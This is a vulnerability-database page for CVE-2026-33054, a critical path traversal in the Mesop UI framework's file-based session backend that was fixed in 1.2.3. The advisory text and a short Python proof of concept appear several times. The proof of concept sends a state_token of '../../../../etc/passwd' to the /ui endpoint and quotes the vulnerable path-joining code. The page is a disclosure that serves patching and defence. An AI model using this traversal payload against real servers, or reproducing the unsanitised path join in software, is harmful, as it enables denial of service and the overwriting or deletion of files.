CVE-2026-33054
Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33054- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-13594
10.0
Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.
- Record
EUVD-2026-13594- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8qvf-mr4w-9x2c
10.0
Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)
Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
- Record
GHSA-8qvf-mr4w-9x2c- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
10.0
Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33054- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
10.0
Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33054- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-8qvf-mr4w-9x2c
10.0
Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)
Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
- Record
GHSA-8qvf-mr4w-9x2c- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-411
10.0
Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)
Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
- Record
PYSEC-2026-411- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mesopPyPI |
through 1.2.2 | 1.2.3 |
mesopPyPI |
before 1.2.3, plus listed versions 0.0.10.10.00.10.0rc00.10.0rc10.10.0rc2 Show 45 moreShow less0.11.00.11.0rc00.11.10.12.00.12.0rc00.12.10.12.10b10.12.10b20.12.10b30.12.10rc10.12.1rc00.12.20.12.30.12.3rc00.12.40.12.4rc00.12.50.12.5b10.12.5rc10.12.60.12.6rc10.12.70.12.7b10.12.7rc10.12.80.12.8b10.12.8rc10.12.90.12.9rc10.13.00.13.0rc10.14.00.14.10.14.1rc10.14.2b10.14.2b20.14.2rc10.14rc10.3.10.3.20.3.30.3.40.4.00.4.10.4.2 |
1.2.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33054 is a critical vulnerability (CVSS 10.0) in Mesop-dev Mesop, published March 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 54th percentile. Fixed in mesop 1.2.3.
References
github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c
github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b
github.com/mesop-dev/mesop/releases/tag/v1.2.3
nvd.nist.gov/vuln/detail/CVE-2026-33054
github.com/advisories/GHSA-8qvf-mr4w-9x2c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33054.json
github.com/mesop-dev/mesop
pypi.org/project/mesop
Left out here: 42 versions. The JSON record has them.